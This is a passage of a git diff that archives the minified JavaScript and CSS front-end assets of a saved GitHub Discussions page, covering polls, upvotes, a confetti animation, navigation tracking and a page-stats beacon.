t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await fetch(e,{body:s,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"polls_voting_sendRequest");class Et{constructor(t){this.optionsElement=t}checkedValue(){var t;const n=(t=this.optionsElement)==null?void 0:t.querySelector(".js-discussion-poll-option:checked");return n==null?void 0:n.value}hide(){var t;this.optionsElement&&(this.optionsElement.hidden=!0),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.optionsElement&&(this.optionsElement.hidden=!1),(t=this.optionsElement)==null||t.setAttribute("aria-hidden","false")}}o(Et,"PollOptionsElement");class wt{constructor(t){this.resultsElement=t}hide(){var t;this.resultsElement&&(this.resultsElement.hidden=!0),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.resultsElement&&(this.resultsElement.hidden=!1),(t=this.resultsElement)==null||t.setAttribute("aria-hidden","false")}}o(wt,"PollResultsElement");class St{constructor(t){this.pollForm=t,this.resultsElement=new wt(t.querySelector(".js-discussion-poll-results")),this.optionsElement=new Et(t.querySelector(".js-discussion-poll-options")),this.hideResultsButton=t.querySelector(".js-poll-hide-results"),this.showResultsButton=t.querySelector(".js-poll-show-results"),this.voteButton=t.querySelector(".js-discussion-poll-vote-button"),this.voteUrl=this.pollForm.getAttribute("data-vote-url")||"",this.pollUrl=this.pollForm.getAttribute("data-poll-url")||"",this.pollLocked=this.pollForm.getAttribute("data-poll-locked")||""}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-data-url-post-csrf");return t?t.value:""}hideResults(){var t,n,s,m;this.resultsElement.hide(),this.optionsElement.show(),this.hideResultsButton&&(this.hideResultsButton.hidden=!0),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","true"),this.showResultsButton&&(this.showResultsButton.hidden=!1),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","false"),this.pollLocked==="true"?(s=this.voteButton)==null||s.setAttribute("aria-disabled","true"):(m=this.voteButton)==null||m.setAttribute("aria-disabled","false")}showResults(){var t,n,s;this.resultsElement.show(),this.optionsElement.hide(),this.hideResultsButton&&(this.hideResultsButton.hidden=!1),(t=this.hideResultsButton)==null||t.setAttribute("aria-hidden","false"),this.showResultsButton&&(this.showResultsButton.hidden=!0),(n=this.showResultsButton)==null||n.setAttribute("aria-hidden","true"),(s=this.voteButton)==null||s.setAttribute("aria-disabled","true")}}o(St,"polls_voting_PollFormElement");class jt{constructor(t){this.pollFormElement=t,this.bindHideResultsClick(t.hideResultsButton),this.bindShowResultsClick(t.showResultsButton),this.bindVoteClick(t.voteButton)}bindHideResultsClick(t){t==null||t.addEventListener("click",async()=>{this.hideResults()})}bindShowResultsClick(t){t==null||t.addEventListener("click",async()=>{this.showResults()})}bindVoteClick(t){t==null||t.addEventListener("click",async()=>{this.vote()})}async vote(){const t=this.pollFormElement.optionsElement.checkedValue();if(t&&(await zt(this.pollFormElement.voteUrl,this.pollFormElement.getCsrfInputValue(),t)).ok)try{const m=await(await fetch(this.pollFormElement.pollUrl,{headers:{Accept:"text/html"}})).text();this.pollFormElement.pollForm.replaceWith((0,vt.r)(document,m))}catch{return}}hideResults(){this.pollFormElement.hideResults()}showResults(){this.pollFormElement.showResults()}}o(jt,"polls_voting_Poll"),(0,d.N7)(".js-discussion-poll-component",e=>{new jt(new St(e))});var Yt=a(7739);const Jt=new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&(t.target.hidden=!0)},{root:null,rootMargin:"0px",threshold:.1});(0,d.N7)(".js-whats-new",e=>Jt.observe(e)),(0,i.on)("click",".js-whats-new-state",e=>{var t;((t=e.target)==null?void 0:t.parentNode).scrollIntoView({behavior:"smooth",block:"start"})});const rt=o(()=>{const e=document.querySelector(".js-whats-new-state");!e||(e.hidden=!1)},"showWhatsNew");document.addEventListener("pjax:end",rt),document.addEventListener("turbo:load",rt),async function(){await Yt.x,setTimeout(rt,1e3)}()},47930:(T,E,a)=>{a.d(E,{S:()=>h});function l(f){const c=document.querySelectorAll(f);if(c.length>0)return c[c.length-1]}o(l,"queryLast");function d(){const f=l("meta[name=analytics-location]");return f?f.content:window.location.pathname}o(d,"pagePathname");function v(){const f=l("meta[name=analytics-location-query-strip]");let c="";f||(c=window.location.search);const i=l("meta[name=analytics-location-params]");i&&(c+=(c?"&":"?")+i.content);for(const r of document.querySelectorAll("meta[name=analytics-param-rename]")){const u=r.content.split(":",2);c=c.replace(new RegExp(`(^|[?&])${u[0]}($|=)`,"g"),`$1${u[1]}$2`)}return c}o(v,"pageQuery");function h(){return`${window.location.protocol}//${window.location.host}${d()+v()}`}o(h,"requestUri")},22485:(T,E,a)=>{a.d(E,{N:()=>v,x:()=>h});var l=a(7739);let d=null;(async function(){await l.x,f()})();function v(i){h(c(i))}o(v,"announceFromElement");function h(i){!d||(d.textContent="",d.textContent=i)}o(h,"announce");function f(){d=document.createElement("div"),d.setAttribute("aria-live","polite"),d.classList.add("sr-only"),document.body.append(d)}o(f,"createNoticeContainer");function c(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(c,"getTextContent")},42150:(T,E,a)=>{a.d(E,{Z:()=>nt});const l=Math.random,d=Math.cos,v=Math.sin,h=Math.PI,f=h*2,c=40,i=3,r=12-i,u=10,b=100,p=-.1,w=-p-p,M=.13,W=.18,g=.4,R=.7-g;let x,$;const I=[],H=["#6a737d","#0366d6","#28a745","#ffd33d","#f66a0a","#6f42c1","#ea4aaa"];function Z(){const j=Math.floor(Math.random()*H.length);return H[j]}o(Z,"colorTheme");function X(j,F,L){return(1-d(h*L))/2*(F-j)+j}o(X,"interpolation");const D=1/u,G=D+D;function J(){const j=[D,1-D];let F=1-G;const L=[0,1];for(;F;){let A=F*l(),S,_,N,U,P;for(S=0,_=j.length,F=0;S<_;S+=2){if(U=j[S],P=j[S+1],N=P-U,A0;S-=2)_=S-1,U=j[_],P=j[S],U>=V&&Uk?j[_]=k:j.splice(_,2):UV&&(P<=k?j[S]=V:j.splice(S,0,V,k));for(S=0,_=j.length,F=0;S<_;S+=2)F+=j[S+1]-j[S]}return L.sort()}o(J,"createPoisson");const q=document.createElement("div");q.style.position="fixed",q.style.top="0",q.style.left="0",q.style.width="100%",q.style.height="0",q.style.overflow="visible",q.style.zIndex="9999";class tt{constructor(F){this.frame=0,this.outer=document.createElement("div"),this.inner=document.createElement("div"),this.outer.appendChild(this.inner),this.outer.style.position="absolute",this.outer.style.width=`${i+r*l()}px`,this.outer.style.height=`${i+r*l()}px`,this.inner.style.width="100%",this.inner.style.height="100%",this.inner.style.backgroundColor=F(),this.outer.style.perspective="50px",this.outer.style.transform=`rotate(${360*l()}deg)`,this.theta=360*l(),this.axis=`rotate3D(${d(360*l())},${d(360*l())},0,`,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.dTheta=g+R*l(),this.x=window.innerWidth*l(),this.y=-b,this.dx=v(p+w*l()),this.dy=M+W*l(),this.outer.style.left=`${this.x}px`,this.outer.style.top=`${this.y}px`,this.splineX=J(),this.splineY=[];const L=this.splineX.length-1;for(let A=1;A=this.splineX[_];)S=_++;const N=X(this.splineY[S],this.splineY[_],(A-this.splineX[S])/(this.splineX[_]-this.splineX[S]));return A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function 